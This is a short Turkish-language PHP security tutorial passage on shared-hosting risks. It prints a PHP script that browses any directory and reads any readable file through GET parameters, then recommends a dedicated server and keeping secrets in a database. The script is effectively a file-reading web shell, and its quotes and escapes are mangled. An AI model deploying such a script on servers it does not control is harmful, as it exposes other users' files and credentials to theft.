Dosya Sisteminin Taranması
Aşağıdaki kodlar bir sunucuda denendiğinde dosya sistemi içinde gezintiyi yapılmasını sağlar.
<?php
echo “<pre>n”;
if (ini_get(’safe_mode’))
{
echo “[safe_mode enabled]nn”;
}
else
{
echo “[safe_mode disabled]nn”;
}
if (isset($_GET[’dir’]))
{
ls($_GET[’dir’]);
}
elseif (isset($_GET[’file’]))
{
cat($_GET[’file’]);
}
else
{
ls(’/’);
}
echo “</pre>n”;
function ls($dir)
{
$handle = dir($dir);
while ($filename = $handle->read())
{
$size = filesize(“$dir$filename”);
if (is_dir(“$dir$filename”))
{
if (is_readable(“$dir$filename”))
{
$line = str_pad($size, 15);
$line .= “<a href=”{$_SERVER[’PHP_SE LF’]}?dir=$dir$filename/”>$filename/</a>”;
}
else
{
$line = str_pad($size, 15);
$line .= “$filename/”;
}
}
else
{
if (is_readable(“$dir$filename”))
{
$line = str_pad($size, 15);
$line .= “<a href=”{$_SERVER[’PHP_SELF’]}?file=$dir$filename”>$filename</a>”;
}
else
{
$line = str_pad($size, 15);
$line .= $filename;
}
}
echo “$linen”;
}
$handle->close();
}
function cat($file)
{
ob_start();
readfile($file);
$contents = ob_get_contents();
ob_clean();
echo htmlentities($contents);
return true;
}
?>
safe_mode belirteci ile bu tür PHP kodlarının çalışması engellenir, ama aynı betik başka dillerde yazılırsa bu belirtec faydasız kalır.
En güzel çözüm çok değerli bilgilerin veritabanında saklanmasıdır ve yukarıda bahsedilen veritabanı güvenliği konusunu uygulamaktır ($_SERVER[’DB_USER’] ve $_SERVER[’DB_PASS’] değişkenlerinin bahsedildiği yöntem gibi).
Paylaşılan bir sunucu kullanmak yerine mümkünse uygulamaya özel sunucu kullanmak daha güvenlidir. Çünkü aynı sunucuyu paylaşılan artniyetli kişilerden korunmak oldukça güçtür.